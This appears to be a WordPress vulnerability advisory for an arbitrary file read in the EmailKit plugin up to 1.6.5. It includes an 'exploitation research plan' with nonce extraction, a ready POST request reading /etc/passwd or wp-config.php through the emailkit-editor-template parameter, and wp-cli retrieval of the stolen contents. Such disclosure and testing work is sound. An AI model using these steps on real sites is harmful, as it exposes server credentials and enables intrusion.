EmailKit <= 1.6.5 - Authenticated (Author+) Arbitrary File Read via 'emailkit-editor-template' REST Parameter
Description
The EmailKit plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to and including 1.6.5. This is due to a flawed path traversal validation in the create_template() method of the CheckForm class, where realpath() is called on the allowed base directory (wp-content/uploads/emailkit/templates/) which may not exist, causing it to return false. In PHP 8.x, strpos($real_path, false) implicitly converts false to an empty string, and strpos() with an empty needle always returns 0, causing the check strpos(...) !== 0 to evaluate to false and bypassing the path validation entirely. This makes it possible for authenticated attackers, with Author-level access and above, to read arbitrary files from the server, including sensitive files such as wp-config.php, by supplying an absolute path to the emailkit-editor-template REST API parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.6.6
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-5957 - EmailKit Arbitrary File Read ## 1. Vulnerability Summary The **EmailKit** plugin (<= 1.6.5) contains a path traversal vulnerability in its REST API handler for creating templates. The vulnerability exists because the `CheckForm::create_template()` metho…
Show full research plan
Exploitation Research Plan: CVE-2026-5957 - EmailKit Arbitrary File Read
1. Vulnerability Summary
The EmailKit plugin (<= 1.6.5) contains a path traversal vulnerability in its REST API handler for creating templates. The vulnerability exists because the CheckForm::create_template() method attempts to validate a user-supplied file path against an allowed base directory using realpath().
If the base directory (wp-content/uploads/emailkit/templates/) does not exist on the filesystem, realpath() returns false. In PHP 8.x, when strpos() is called with false as the second argument (the needle), it is implicitly converted to an empty string "". Since strpos($any_string, "") always returns 0, the validation check strpos($real_path, realpath($allowed_base_path)) !== 0 evaluates to 0 !== 0, which is false. This logic failure allows an attacker to bypass the directory restriction and read arbitrary files from the server into a new WordPress post.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/emailkit/v1/create-template - Hook:
rest_api_initinincludes/Admin/Api/CheckForm.php - Parameter:
emailkit-editor-template(used as the file path to read) - Authentication: Required. The user must have
publish_postscapability (typically Author role and above). - Preconditions:
- The WordPress environment must be running PHP 8.x.
- The directory
wp-content/uploads/emailkit/templates/must not exist (default state until a template is saved).
3. Code Flow
- Request Entry: The attacker sends a
POSTrequest toemailkit/v1/create-template. - Permission Check:
CheckForm::create_templateverifiesis_user_logged_in()andcurrent_user_can('publish_posts'). - Input Retrieval: The parameter
emailkit-editor-templateis retrieved:$template_path = $request->get_param('emailkit-editor-template'); - Validation Bypass (Sink):
$allowed_base_path = wp_upload_dir()['basedir'] . '/emailkit/templates/'; $real_path = realpath($template_path); // e.g., /etc/passwd -> /etc/passwd // If the directory does not exist, realpath($allowed_base_path) is false if ($real_path === false || strpos($real_path, realpath($allowed_base_path)) !== 0) { // Check fails to catch traversal because strpos("/etc/passwd", false) === 0 return new WP_REST_Response(['success' => false, ...], 400); } - File Read:
$template = file_exists($real_path) ? file_get_contents($real_path) : ''; - Data Storage: The file content (
$template) is saved into a new post of typeemailkitviawp_insert_post().
4. Nonce Acquisition Strategy
The endpoint requires a standard WordPress REST API nonce (wp_rest).
- Role Requirement: Login as a user with the Author role.
- Location: The nonce is localized in the WordPress admin dashboard.
- Extraction:
- Navigate to
/wp-admin/admin.php?page=emailkit(or any admin page). - The plugin localizes nonces in the
metformglobal variable viaMetformEmailSettings::enqueue_metform_scripts(). - Use
browser_evalto extract it:window.metform?.rest_nonce - Alternatively, use the standard WordPress
wp-api-jslocalized data:wpApiSettings.nonce
- Navigate to
5. Exploitation Strategy
Step 1: Confirm Directory Absence
Verify that the directory wp-content/uploads/emailkit/ does not exist to ensure the realpath() bypass will work.
Step 2: Prepare Payload
Target a sensitive file like /etc/passwd or wp-config.php.
Step 3: Trigger File Read via REST API
Send the POST request using the http_request tool.
Request:
- Method:
POST - URL:
/wp-json/emailkit/v1/create-template - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]Content-Type: application/x-www-form-urlencoded
- Body:
form_id=1&template_title=ExfiltratedData&emailkit-editor-template=/etc/passwd
Step 4: Retrieve Exfiltrated Content
The response will return a post_id.
{
"success": true,
"data": {
"post_id": 123,
"builder_url": ".../post.php?post=123&action=emailkit-builder"
}
}
Use wp-cli or the REST API to read the content of the newly created post ID 123. The file content will be stored in the post's metadata or content fields.
6. Test Data Setup
- User: Create an Author user:
wp user create attacker attacker@example.com --role=author --user_pass=password - Plugin State: Ensure the plugin is active and no templates have been created yet (to keep the uploads directory empty).
- Environment: Ensure PHP version is 8.0 or higher.
7. Expected Results
- The REST API response should return
200 OKwith asuccess: truestatus and apost_id. - Querying the database for the meta associated with that
post_id(likelyemailkit_template_contentor similar, based on the truncated code) should reveal the contents of/etc/passwd.
8. Verification Steps
After the HTTP request, use wp-cli to verify the content of the created post:
# Find the latest emailkit post
POST_ID=$(wp post list --post_type=emailkit --posts_per_page=1 --format=ids)
# Check the post meta where the template content is stored
wp post meta get $POST_ID emailkit_template_content
9. Alternative Approaches
If emailkit-editor-template is strictly validated or fails, check the $html_path logic:
$html_path = str_replace("content.json", "content.html", $real_path);
$real_html_path = realpath($html_path);
An attacker could provide /etc/passwd/content.json which would be str_replace'd to /etc/passwd/content.html, potentially failing. However, providing a direct path to a file that exists and satisfies the strpos(..., false) bypass is the primary path.
If the create-template endpoint is blocked, the check-template endpoint also exists but it does not appear to perform file operations in the provided source. Focus remains on create_template.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.